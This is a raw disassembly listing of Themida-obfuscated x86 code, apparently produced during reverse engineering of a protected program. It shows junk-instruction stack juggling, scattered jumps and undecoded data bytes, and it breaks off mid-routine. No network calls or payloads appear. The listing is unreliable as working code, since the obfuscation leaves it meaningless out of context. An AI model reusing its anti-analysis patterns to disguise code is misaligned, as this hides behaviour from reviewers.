add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push ebp
mov eax, [esp]
push 1E3Fh
mov [esp], esi
mov esi, esp
push ebx
push 4
push dword ptr [esp]
pop ebx
push eax
jmp loc_5520ED
; ---------------------------------------------------------------------------
dd 0E181D9F7h, 3D3E4410h, 0E9D1F741h, 0FFFF159Fh, 8B243C87h
dd 0D5682424h, 8900003Ch, 7CE9240Ch
db 60h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5619C3: ; CODE XREF: Themida_:005536E2j
mov edx, 4
mov esi, edx
pop edx
push 5E0Fh
mov [esp], eax
push edx
mov edx, 26EA4361h
push edx
mov eax, [esp]
jmp loc_5556EE
; ---------------------------------------------------------------------------
loc_5619E2: ; CODE XREF: Themida_:00561101j
sub ebx, 0A74A3118h
add ecx, ebx
pop ebx
add edi, ecx
jmp loc_56500A
; ---------------------------------------------------------------------------
loc_5619F2: ; CODE XREF: Themida_:0055576Dj
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_558B97
; ---------------------------------------------------------------------------
loc_561A00: ; CODE XREF: Themida_:00557F8Dj
push eax
jmp loc_5517AA
; ---------------------------------------------------------------------------
dw 0C8Bh
dd 4C48324h, 0FFAAA3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561A11: ; CODE XREF: Themida_:00557623j
push eax
mov eax, 4
jmp loc_563609
; ---------------------------------------------------------------------------
loc_561A1C: ; CODE XREF: Themida_:00556AABj
add dx, 42E8h
push di
mov di, 1
add dx, 21BDh
add dx, di
sub dx, 21BDh
pop di
add dx, 25EFh
add bx, dx
pop edx
jmp loc_55C53F
; ---------------------------------------------------------------------------
dd 8EFC15Bh, 6199F781h, 0C78126B1h, 30153AA8h, 0CA5BB82Dh
dd 0FDFDE938h, 48FFFFEh, 24248B24h, 475868h, 24348900h
dd 0C6815E54h, 4, 0D8E95055h, 68FFFF7Fh, 4, 83241C8Bh
dd 0DE0104C4h, 2C0DE9h
db 0
; ---------------------------------------------------------------------------
loc_561A8D: ; CODE XREF: Themida_:0055E43Bj
mov edi, esp
push ebp
push ebx
jmp loc_551620
; ---------------------------------------------------------------------------
word_561A96 dw 8B66h ; DATA XREF: Themida_:0055082Co
dd 0E9532404h, 0FFFF6B9Fh, 123D68h, 24248900h, 0FF417AE9h
dd 76BF57FFh, 0F71F8636h, 44F781DFh, 2199778Dh, 0E9505FFBh
dd 0FFFFB843h, 0C15DE989h, 0E7E908E9h, 0BEFFFF44h, 4, 7A6568h
dd 24048900h, 0FFA9C7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561AE1: ; CODE XREF: Themida_:005650ECj
push esi
jmp loc_557AC4
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 5A8D2D00h, 0E801162Eh, 2E5A8D05h, 2434FF16h, 4C4815Dh
dd 81000000h, 4ECh, 0B6B6E900h, 0EE81FFFFh, 7CDC08B1h
dd 0BB53DE01h, 30F06695h, 0FF8A93E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561B21: ; CODE XREF: Themida_:005603AAj
push ecx
push ebx
mov bl, dh
mov ch, bl
pop ebx
push edx
jmp loc_55DD85
; ---------------------------------------------------------------------------
loc_561B2E: ; CODE XREF: Themida_:00552DC2j
not esi
xchg esi, [esp]
pop eax
shl eax, 8
add eax, 9D219B04h
jmp loc_552D0D
; ---------------------------------------------------------------------------
db 0B3h, 3Bh, 80h
dd 48E975EBh, 58FFFF0Fh, 3DEC68h, 243C8900h, 268h, 0EB815F00h
dd 424E0165h, 0FEFBFAE9h, 0E9FB01FFh, 0B74h
; ---------------------------------------------------------------------------
loc_561B6C: ; CODE XREF: Themida_:005522CEj
push esp
pop ecx
add ecx, 4
sub ecx, 4
push ecx
jmp loc_5515A0
; ---------------------------------------------------------------------------
loc_561B7D: ; CODE XREF: Themida_:005547ADj
pop edi
jmp loc_55FDBE
; ---------------------------------------------------------------------------
db 8Bh
dd 0EEE9243Ch, 87FFFF3Bh, 0DDF75AD5h, 0C7C6E953h, 0CE89FFFFh
dd 8BF52959h, 0C4812434h, 4, 2C8BEF01h, 30E95524h
db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561BAF: ; CODE XREF: Themida_:0055D0E4j
push 274Fh
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
jmp loc_555796
; ---------------------------------------------------------------------------
loc_561BC6: ; CODE XREF: Themida_:00559FF6j
pop ebx
not ebx
jmp loc_55B8E6
; ---------------------------------------------------------------------------
dw 815Ch
dd 4ECh, 24048900h, 0FFC0EBE9h, 4C781FFh, 0E9000000h, 0FFFF82C6h
; ---------------------------------------------------------------------------
loc_561BE8: ; CODE XREF: Themida_:0055BFD2j
xor [esp], edx
xor edx, [esp]
jmp loc_558602
; ---------------------------------------------------------------------------
db 5Ah
dd 8B24048Fh, 0E9522424h, 3934h, 148BD108h, 4C48124h, 80000000h
dd 0CF286AE9h, 0FFFDF1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561C15: ; CODE XREF: Themida_:00555B24j
push ebx
push ebp
mov ebp, 30h
mov ebx, ebp
pop ebp
jmp loc_5538F3
; ---------------------------------------------------------------------------
dd 0FF241489h, 0E9042474h, 0FFFF26ECh
; ---------------------------------------------------------------------------
loc_561C30: ; CODE XREF: Themida_:005587A5j
mov [esp], edi
push dword ptr [esp+4]
pop edi
jmp loc_555D71
; ---------------------------------------------------------------------------
loc_561C3D: ; CODE XREF: Themida_:00560376j
sub ebp, 2
push 3B10h
jmp loc_551873
; ---------------------------------------------------------------------------
dw 0C580h
dd 0E9EA0074h, 0FFFFDEDAh
; ---------------------------------------------------------------------------
loc_561C54: ; CODE XREF: Themida_:00556DD7j
add esp, 4
sub esp, 4
mov [esp], edi
mov edi, 40B62EF3h
xor edi, 63A67040h
not edi
jmp loc_55B4BD
; ---------------------------------------------------------------------------
db 8Ah
dd 8802245Ch, 66022474h, 5624148Bh, 0C681E689h, 4, 3302C683h
dd 34312434h, 0FF5AE924h, 0B20CFFFEh, 0E8C0D0F6h, 30440404h
dd 0EB8058C1h, 0E9CB2800h, 0FFFFF8DCh, 295DE801h, 0B4BA52D8h
dd 567CD032h, 0FFFFFFBEh, 5EF229FFh, 2414F752h, 5ECA815Ah
dd 8119DD7Dh, 0A4A83CF2h, 0E9D029C6h, 0FFFF3B1Ch, 0D07CE957h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561CDA: ; CODE XREF: Themida_:0055A2DCj
sub dx, 3E72h
add dx, 79B6h
jmp loc_556F79
; ---------------------------------------------------------------------------
db 66h, 8Bh, 1Ch
dd 2C48124h, 0F6000000h, 0A3F680DEh, 0FF5B05E9h, 241C89FFh
dd 2434FF54h, 0E9241C8Bh, 0FFFF8772h
; ---------------------------------------------------------------------------
loc_561D0C: ; CODE XREF: Themida_:00556FB9j
shl ebx, 2
xor ebx, 0AEF5F96Fh
xor ebp, ebx
pop ebx
shl ebp, 5
jmp loc_557074
; ---------------------------------------------------------------------------
dd 3458E953h
db 2 dup(0FFh)
word_561D26 dw 74FFh ; DATA XREF: Themida_:005508F8o
dd 34FF0424h, 24048B24h, 0FFDCB7E9h, 53EB89FFh, 0FF58FEE9h
dd 240C89FFh, 0FF85FEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561D45: ; CODE XREF: Themida_:0055DE00j
push ebx
mov bh, 26h
xor bh, 7Eh
jmp loc_556395
; ---------------------------------------------------------------------------
aUS db 'аЦ',7,'И!*',0
align 4
dd 8704E883h, 895C2404h, 0E9242Ch
db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561D67: ; CODE XREF: Themida_:00562C0Bj
push esi
pop ebp
mov esi, [esp]
add esp, 4
sub edx, 355666D4h
add edx, ebp
add edx, 355666D4h
mov ebp, [esp]
add esp, 4
xor eax, edx
pop edx
jmp loc_5659AE
; ---------------------------------------------------------------------------
loc_561D8E: ; CODE XREF: Themida_:0055C542j
push edx
mov edx, esp
push 10D8h
mov [esp], ebx
push edi
jmp loc_5636DD
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFEEC0Bh
dword_561DA4 dd 24048B66h, 79E968h, 24148900h, 0DE68E289h, 89000078h
; DATA XREF: Themida_:00550938o
dd 0A3E92434h, 50FFFF18h, 188668h, 24248900h, 4240483h
dd 6824048Bh, 54Bh, 89242C89h, 4C581E5h, 81000000h, 4C5h
dd 242C8700h, 0FC5E95Ch, 814DFFFFh, 28AB8CEDh, 8BEE01F6h
dd 0C483242Ch, 0CDE904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_561E02: ; CODE XREF: Themida_:00562F15j
push 11BAh
mov [esp], ebx
mov ebx, 581E16B4h
push ecx
mov ecx, 3A547C1h
jmp loc_55211F
; ---------------------------------------------------------------------------
loc_561E1A: ; CODE XREF: Themida_:00552BBFj
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ecx
jmp loc_562C10
; ---------------------------------------------------------------------------
dd 4C381h, 0C3830000h, 93C6804h, 1C890000h, 2474FF24h
dd 241C8B04h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
pop dword ptr [esp]
jmp loc_553E62
; ---------------------------------------------------------------------------
db 5Eh
dd 1FEBE9h, 0D8F18100h, 567A6E47h, 0FFC6A9E9h, 24048FFFh
dd 6624248Bh, 66241489h, 24E99C50h, 80FFFEEBh, 0EC83FFEEh
dd 241C8904h, 0CB80B5B3h, 9B8E921h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561E9E: ; CODE XREF: Themida_:00554AF5j
push 542455C4h
pop ebp
jmp loc_553A78
; ---------------------------------------------------------------------------
db 0F7h, 0D1h, 0F7h
dd 0EEDBE9D9h, 5159FFFFh, 5226B850h, 0E0C14D44h, 3B742D05h
dd 0C1892CEEh, 8BCD3158h, 7EE9240Ch, 55FFFF44h, 4BDh, 5DEE0100h
dd 2474FF56h, 2434FF04h, 4C4815Eh, 8F000000h, 535C2404h
dd 2DE9E389h, 0C1FFFF59h, 0E0E908EDh, 55FFFEEFh, 0FFA80AE9h
dd 2D0540FFh, 55C2E4Eh, 1, 0D9C62B35h, 58C30165h, 4B850h
dd 0C3010000h, 0FFE70AE9h, 77E954FFh, 81FFFF56h, 4C4h
dd 0F8A4E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561F32: ; CODE XREF: Themida_:00551003j
pop edx
sub esp, 4
mov [esp], edx
jmp loc_554DA9
; ---------------------------------------------------------------------------
db 51h, 31h, 14h
dd 24143324h, 87241431h, 8B5156F2h, 0E0E92434h
db 38h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_561F57: ; CODE XREF: Themida_:005546ABj
shl ebx, 2
push edi
jmp loc_55E258
; ---------------------------------------------------------------------------
dd 0FEEA4AE9h, 0E18951FFh, 3C6768h, 24048900h, 0BD05D6B8h
dd 0C1D0F70Ch, 7B0507E8h, 569DC79h, 46736B3Ah, 366AA52Dh
dd 58C101B2h, 4C181h, 0DFE90000h
db 0F1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_561F97: ; CODE XREF: Themida_:005617A8j
xchg esi, [esp]
pop esp
mov [esp], eax
jmp loc_552DBF
; ---------------------------------------------------------------------------
db 55h
dd 2E422DBDh, 0F4F58170h, 1D85C00h, 90E95DEFh
db 42h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561FB7: ; CODE XREF: Themida_:005538B9j
mov [esp], edi
mov edi, eax
mov ebx, edi
jmp loc_554C78
; ---------------------------------------------------------------------------
db 59h
dd 0FFC6DDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561FC9: ; CODE XREF: Themida_:00554207j
pop edx
add edx, 4
add edx, 4
jmp loc_558CF9
; ---------------------------------------------------------------------------
dd 0F925C581h, 0C5E9D2C4h, 31FFFFFCh, 0C1815EF7h, 19C139BAh
dd 0FFD050E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561FF1: ; CODE XREF: Themida_:00562CFBj
push ebx
jmp loc_562C9C
; ---------------------------------------------------------------------------
db 31h
dd 52E92404h, 68FFFF34h, 43CAh, 0FEF4DCE9h, 556BAFFh, 0E2817547h
dd 56C0E64h, 440EA81h, 0D7010544h, 0FFAC79E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562021: ; CODE XREF: Themida_:0055E993j
not bh
not bh
push eax
mov al, 79h
jmp loc_551D41
; ---------------------------------------------------------------------------
db 89h, 0E5h, 81h
dd 4C5h, 4C58100h, 87000000h, 0FF5C242Ch, 815B2434h, 4C4h
dd 0BF38100h, 0E9092C04h, 0FFFF6538h
; ---------------------------------------------------------------------------
loc_562054: ; CODE XREF: Themida_:0055382Cj
add ebx, 611176FEh
jmp loc_559E89
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFEE94Bh, 2048BF57h, 0E95223FCh, 26Bh
; ---------------------------------------------------------------------------
loc_562070: ; CODE XREF: Themida_:0055A4D2j
sub esi, 46AB2A7Ah
jmp loc_55E0CA
; ---------------------------------------------------------------------------
db 81h
dd 4C7h, 4EF8300h, 795E9h
db 0
; ---------------------------------------------------------------------------
loc_562089: ; CODE XREF: Themida_:0056262Dj
push 0
sub [esp], edx
pop edx
sub edx, 791E6F5Ch
jmp loc_551E3B
; ---------------------------------------------------------------------------
db 0BDh, 2Dh, 5Dh
dd 0EC832686h, 24048904h, 566553B8h, 3AEE966h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5620B2: ; CODE XREF: Themida_:00555AB7j
push 10h
push dword ptr [esp]
pop eax
jmp loc_55703B
; ---------------------------------------------------------------------------
dd 5C24048Fh, 0FF489EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5620C9: ; CODE XREF: Themida_:0055C21Aj
push esi
jmp loc_55BEE6
; ---------------------------------------------------------------------------
loc_5620CF: ; CODE XREF: Themida_:0055F6C1j
and ecx, 426D64ADh
push 1EBDh
mov [esp], edi
mov edi, 83B62C5h
add edi, 1
push eax
jmp loc_55C402
; ---------------------------------------------------------------------------
loc_5620EB: ; CODE XREF: Themida_:0055D67Ej
pop edi
neg edi
xor edi, 0B07450EAh
add ecx, edi
jmp loc_5524F8
; ---------------------------------------------------------------------------
db 89h
dd 0B7BE56E2h, 8162F263h, 924738EEh, 0FD8DE940h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_56210E: ; CODE XREF: Themida_:00551211j
add edi, edx
pop edx
sub edi, 1
jmp loc_55E6D9
; ---------------------------------------------------------------------------
dd 0E90AF380h, 0FFFFB465h, 1C581h, 1EE90000h, 0B9FFFF0Dh
dd 538420BCh, 89CE8956h, 0E9595EF3h, 25F0h, 33241C31h
dd 0E95C241Ch, 0FFFF3C9Eh
; ---------------------------------------------------------------------------
loc_56214C: ; CODE XREF: Themida_:005563B5j
add ebp, ebx
jmp loc_55A2F7
; ---------------------------------------------------------------------------
db 64h
dd 0E9028966h, 0FFFF1218h, 0AD05E952h, 815AFFFFh, 4C4h
dd 392DE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56216E: ; CODE XREF: Themida_:00565916j
sub esi, 455CD456h
jmp loc_562AF8
; ---------------------------------------------------------------------------
db 80h, 0C4h, 7Dh
dd 3058E330h, 1910E9D8h, 0D8F70000h, 5603E0C1h, 0F267BABEh
dd 0F7D6F748h, 4EEC1DEh, 0E903EEC1h, 0FFFF48DFh, 4EC81h
dd 1C890000h, 0FD73E924h, 0F929FFFFh, 0FF6980E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5621B5: ; CODE XREF: Themida_:0055974Bj
xchg ecx, [esp]
pop esp
add al, ch
push dword ptr [esp]
jmp loc_5552F4
; ---------------------------------------------------------------------------
db 8Fh
dd 248B2404h, 243C8924h, 0C000CB68h, 0A77FE916h, 0D931FFFFh
dd 8BCE315Bh, 0C483240Ch, 81DEF704h, 899168C6h, 618668C6h
dd 34890000h, 241C8B24h, 5E04C483h, 2C1BE9h, 4EC8300h
dd 89240C89h, 0BD5553E1h, 5C0F5671h, 3C5AC581h, 0EDC16DEFh
dd 2ABF5703h, 81294F3Ch, 0DF28EBE7h, 47CF816Ch, 81250429h
dd 4DA3FAC7h, 0E9FD2987h, 0FFFF3FBDh, 81242489h, 42404h
dd 3C8B0000h, 4C48124h, 68000000h, 1EE7h, 0E9242C89h, 0FFFF3099h
dd 34FFE801h, 242C8B24h, 5604C483h, 0C681E689h, 4, 0FF5742E9h
dd 1AC681FFh, 814DA729h, 932C4EEh, 242C8B17h, 0FF7BEDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562281: ; CODE XREF: Themida_:00557D88j
push 800h
mov ebx, [esp]
sub esp, 4
jmp loc_55420C
; ---------------------------------------------------------------------------
loc_562294: ; CODE XREF: Themida_:005518D2j
mov ebp, 3AED08AEh
inc ebp
or ebp, 7E256C85h
or ebp, 2B9C3B46h
jmp loc_5599D6
; ---------------------------------------------------------------------------
db 5Dh
dd 0BA52D829h, 61C59EEh, 5BC28142h, 0E95C7F5Eh, 0FFFFBA83h
dd 396AE95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5622C6: ; CODE XREF: Themida_:005587D5j
pop edx
xchg eax, [esp]
jmp loc_5594E9
; ---------------------------------------------------------------------------
db 5Eh
dd 2474FF53h, 8E95B04h, 0BAFFFF24h, 12A239DFh, 3DBD5542h
dd 451B8142h, 0E5C1DDF7h, 54F58102h, 81723A7Ah, 2C4687EDh
dd 5DEA219Bh, 8106EAC1h, 0EC1CF5CAh, 73BB5371h, 812DB479h
dd 0E815FBE3h, 0C3A9E952h, 489FFFFh, 2474FF24h, 2434FF04h
dd 5D545558h, 0E50BE953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56232A: ; CODE XREF: Themida_:0055186Ej
dec eax
not eax
and eax, 3C5279A6h
dec eax
and eax, 4A220AC0h
sub esp, 4
jmp loc_5531F5
; ---------------------------------------------------------------------------
db 56h
dd 47E9E689h
db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56234B: ; CODE XREF: Themida_:0055A0EDj
mov bl, al
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_564A7F
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 2434FF00h, 4C4815Bh, 49000000h, 0E908E1C1h, 0FFFF1542h
dd 5C24048Fh, 9869782Dh, 33822D44h, 68E9733Ah, 0FFFFC4h
dd 4A12CD8h, 0E95B665Bh, 0FFFF8C2Eh, 3542C281h, 3DE90E7Ch
db 82h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5623A7: ; CODE XREF: Themida_:0055D5AAj
pop ebx
xchg esi, [esp]
pop esp
jmp loc_55E2D1
; ---------------------------------------------------------------------------
db 66h, 89h, 14h
dd 0C1B55124h, 5359EE88h, 0C7FE67B7h, 0C7FED7F6h, 0FFF2C9E9h
dd 4C483FFh, 332DD8F7h, 2D60C47Bh, 62520CC9h, 5358C289h
dd 52008CBBh, 8BDA2946h, 0C483241Ch, 3FC28104h, 295C810Bh
dd 62E95AD0h
db 13h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5623F7: ; CODE XREF: Themida_:005543EFj
push esi
pop ebx
pop esi
sub ebx, 6DB87C52h
or eax, ebx
pop ebx
shr eax, 1
or eax, 6A911BE1h
xor eax, 6DFF3A6Fh
mov edx, eax
mov eax, [esp]
add esp, 4
xor ecx, edx
mov edx, [esp]
add esp, 4
mov edi, ecx
pop ecx
jmp loc_55AC79
; ---------------------------------------------------------------------------
word_56242A dw 8B66h ; DATA XREF: Themida_:00550944o
dd 0E9532404h, 0FFFF3D41h
; ---------------------------------------------------------------------------
loc_562434: ; CODE XREF: Themida_:00557D13j
mov [esp], eax
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5590F2
; ---------------------------------------------------------------------------
db 0B7h, 0F4h, 0FEh
dd 80D7F6CFh, 0E7C0B8EFh, 0EA84E908h, 0C7BFFFFFh, 0E93E8F46h
dd 0FFFFE179h, 8158C531h, 6D4FA5CDh, 45D5F73Bh, 8005F581h
dd 0EE898402h, 0FFEE7FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562479: ; CODE XREF: Themida_:0055BFA1j
mov eax, 621E91AFh
xor edx, eax
mov eax, [esp]
add esp, 4
add ebx, edx
pop edx
jmp loc_55A8D4
; ---------------------------------------------------------------------------
db 0B9h, 4, 0
dd 0C8010000h, 592434FFh, 8704C483h, 0E95C2404h, 1E7Fh
dd 8107E3C1h, 846EA2F3h, 2DEE951h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5624B6: ; CODE XREF: Themida_:00555833j
push 7DD0h
mov [esp], esi
mov esi, 43896808h
add esi, 1A76E922h
push esi
pop eax
pop esi
xor [esp+4], eax
mov eax, [esp]
add esp, 4
jmp loc_550A26
; ---------------------------------------------------------------------------
loc_5624DE: ; CODE XREF: Themida_:00550EBEj
mov ebp, [esp]
push 4624h
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push edx
mov edx, 61F2148h
xor eax, edx
pop edx
jmp loc_55673C
; ---------------------------------------------------------------------------
db 88h, 0CEh, 0E9h
dd 0FFFEF26Bh, 0D986CBFEh, 66505366h, 884AB551h, 885966ECh
dd 0D90858E3h, 241C8B66h, 0FF7564E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562549: ; CODE XREF: Themida_:00552E35j
xchg esi, edx
not esi
xchg esi, edx
xor ebx, edx
jmp loc_56023B
; ---------------------------------------------------------------------------
loc_562556: ; CODE XREF: Themida_:005523F8j
shl edx, 1
push ebx
push 12Fh
mov [esp], esp
add dword ptr [esp], 4
pop ebx
add ebx, 4
sub ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
jmp loc_562C5E
; ---------------------------------------------------------------------------
db 89h, 34h, 24h
dd 9868E689h, 0E9000006h, 2D3Fh, 0E924248Bh, 0FFFFE036h
dd 240C8B54h, 4EC81h, 34890000h, 7138E924h, 1C89FFFFh
dd 0E7FDE924h, 0BE56FFFEh, 2477EFDh, 5E6C146h, 0C683DEF7h
dd 9EB1E9FFh, 0C2FEFFFFh, 289BC280h, 0CDFE5AD5h, 2F8768h
dd 241C8900h, 0C78055B7h, 27CF80FFh, 8D80E951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5625E6: ; CODE XREF: Themida_:0056119Fj
mov esp, [esp]
mov [esp], ebx
mov ecx, [esp]
add esp, 4
mov eax, ecx
mov ecx, [esp]
add esp, 4
push 265Eh
jmp loc_560F6F
; ---------------------------------------------------------------------------
dw 0FE31h
dd 11F6815Fh, 816E7D54h, 0FA7481CEh, 89EE8147h, 12CF2FEh
dd 0D1895EF2h, 0E924148Bh, 264Bh
; ---------------------------------------------------------------------------
loc_56262C: ; CODE XREF: Themida_:0055F39Fj
pop eax
jmp loc_562089
; ---------------------------------------------------------------------------
dw 0D828h
dd 8B2C262Ch, 8768665Bh, 1489664Ch, 8025B224h, 0E2C0F4C2h
dd 0D7B55107h, 8059EA30h, 0EAD0FFEAh, 80CCB450h, 0ECC078C4h
dd 7ECC003h, 0E9AAC480h, 0FFFFD4CCh
; ---------------------------------------------------------------------------
loc_562668: ; CODE XREF: Themida_:0055A6F3j
mov edx, esp
push eax
mov eax, 5D30422Dh
jmp loc_554E1E
; ---------------------------------------------------------------------------
db 1, 0F2h, 5Eh
dd 0EA81FA29h, 35C71B5Eh, 83243C8Bh, 0CEE904C4h, 66FFFEF3h
dd 2454F650h, 88586601h, 351EE9E6h, 0D3F7FFFFh, 32C3EB81h
dd 0EA81A1A7h, 4AAC48BFh, 0C281DA29h, 4AAC48BFh, 2414875Bh
dd 2414895Ch, 586ACDBAh, 9F2AE95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5626C2: ; CODE XREF: Themida_:00563A6Bj
mov ebp, 2309287Eh
jmp loc_55D8A0
; ---------------------------------------------------------------------------
loc_5626CC: ; CODE XREF: Themida_:0055146Cj
push dword ptr [esp]
pop edx
push edi
mov edi, esp
jmp loc_564157
; ---------------------------------------------------------------------------
loc_5626D8: ; CODE XREF: Themida_:0055CA80j
mov [esp], ebp
jmp loc_564F05
; ---------------------------------------------------------------------------
dd 3BDAE95Fh, 5E5DFFFFh, 4C681h, 0EC830000h, 5210E904h
dd 48BFFFFh, 4C48324h, 24148750h, 1487D2F7h, 0BA525824h
dd 6AA7658h, 0F75AD021h, 1CAE9D8h, 0E5890000h, 5C0AB850h
dd 0D480376h, 22808BFh, 0E8C1D0F7h, 41650D04h, 7135745Fh
dd 17FDF5Bh, 0E7E958C5h, 9FFFF04h, 4840FC9h, 68FFFFAAh
dd 6288h, 24048F54h, 4EC8351h, 0BD242C89h, 4, 24048155h
dd 34813740h, 40E98159h, 0FF348137h, 815D2434h, 4C4h, 246C8100h
dd 1A16A704h, 244C017Ah, 0B8505704h, 7A1A16A7h, 0D4E9C789h
dd 88FFFFA7h, 0E95B58C2h, 0FFFF6B42h, 926A7105h, 52D80104h
dd 926A71BAh, 0BA84E904h, 0A2BAFFFFh, 0E911967Eh, 0FFFFA689h
dd 33243C31h, 7DE9243Ch, 1FFFFD7h, 2492E9CDh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5627C2: ; CODE XREF: Themida_:0055E727j
add ebx, 4
xchg ebx, [esp]
jmp loc_5515DE
; ---------------------------------------------------------------------------
dd 68F0EC80h, 81Bh, 0B6241489h, 99EE801Dh, 8008EEC0h, 0CE8046E6h
dd 80C6FE24h, 0F43034EEh, 2E4C05Ah, 0F480D4F6h, 58E30055h
dd 2856EB80h, 0B05066C3h, 66C30056h, 0FF686658h, 4896605h
dd 80B3B424h, 0C48001C4h, 1645E932h, 0E9570000h, 0FFFFB64Eh
dd 0BA241489h, 4, 0FF3058E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562831: ; CODE XREF: Themida_:00557B74j
add ebp, 4
jmp loc_5659CD
; ---------------------------------------------------------------------------
loc_562839: ; CODE XREF: Themida_:0055F6CDj
mov ebx, 7A3F0F4Fh
xor ebx, 6FB73D9Ah
push esi
jmp loc_5532D1
; ---------------------------------------------------------------------------
word_56284A dw 48Bh ; DATA XREF: Themida_:00550784o
dd 0B123E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562852: ; CODE XREF: Themida_:0055C322j
mov eax, 4
jmp loc_55B93B
; ---------------------------------------------------------------------------
dd 0C380E328h, 0E68956F3h, 0FFAB93E9h, 242C89FFh, 3CE68h
dd 24148900h, 33A8E9h, 48F5B00h, 4895C24h, 2E9CB824h, 0D0F74599h
dd 0BACE9h, 7CE95A00h
db 3Fh, 2 dup(0FFh)
byte_562893 db 8Bh ; DATA XREF: Themida_:005508CCo
dd 60E92424h, 80FFFEE7h, 0D900C2E9h, 0FFD08EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5628A5: ; CODE XREF: Themida_:00554FC2j
pop edi
add esp, 4
push 3A57h
mov [esp], ebp
push 5DAEh
mov [esp], esp
add dword ptr [esp], 4
pop ebp
jmp loc_55563F
; ---------------------------------------------------------------------------
db 56h, 89h, 0E6h
dd 4C681h, 6CE90000h, 5CFFFFE6h, 0E9242489h, 0FFFFCBD8h
dd 0DC04BD55h, 0E831F97Dh, 0B577E95Dh, 3C8BFFFFh, 0E6895624h
dd 4C681h, 0E1E90000h, 87FFFF9Ah, 0ABB53F2h, 8138A441h
dd 272453EBh, 84CB8113h, 5365EF48h, 420E9h, 0D9015800h
dd 3D60685Bh, 0FDE90000h, 0B3FFFFFEh, 0E1B25297h, 285AD488h
dd 0F8B35BDCh, 2843C380h, 43EB80E3h, 8BD82858h, 0C481241Ch
dd 4, 0EC81D800h, 2, 240C8966h, 0E800AEB5h, 74E95966h
db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56295F: ; CODE XREF: Themida_:0055990Ej
xchg edx, [esp]
pop esp
push ebp
mov ebp, 3CF709B8h
shr ebp, 5
jmp loc_5646EA
; ---------------------------------------------------------------------------
loc_562971: ; CODE XREF: Themida_:0055FB43j
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_5522C8
; ---------------------------------------------------------------------------
dw 5B54h
dd 4C381h, 0C3810000h, 4, 0FFAA9BE9h
db 0FFh, 5Eh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_556519
; ---------------------------------------------------------------------------
loc_5629AA: ; CODE XREF: Themida_:0055E969j
push ecx
mov ecx, esp
push eax
push edi
mov edi, 5A7176E1h
jmp loc_5572EB
; ---------------------------------------------------------------------------
db 52h, 88h, 0EEh
dd 148BF388h, 4C48324h, 0FEFA98E9h, 8BEB01FFh, 0A9E9242Ch
db 0Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5629D3: ; CODE XREF: Themida_:0055BCEDj
add ecx, edx
push dword ptr [esp]
jmp loc_564074
; ---------------------------------------------------------------------------
db 29h, 0C3h, 58h
dd 1C8BDA01h, 4C48324h, 3304C283h, 14312414h, 24143324h
dd 0E924248Bh, 0FFFF530Ch, 4C181h, 0E9550000h, 0FFFF0341h
; ---------------------------------------------------------------------------
loc_562A08: ; CODE XREF: Themida_:00555039j
sub ebx, 7E6E787Bh
pop ebp
push edi
mov edi, 3C1E78A7h
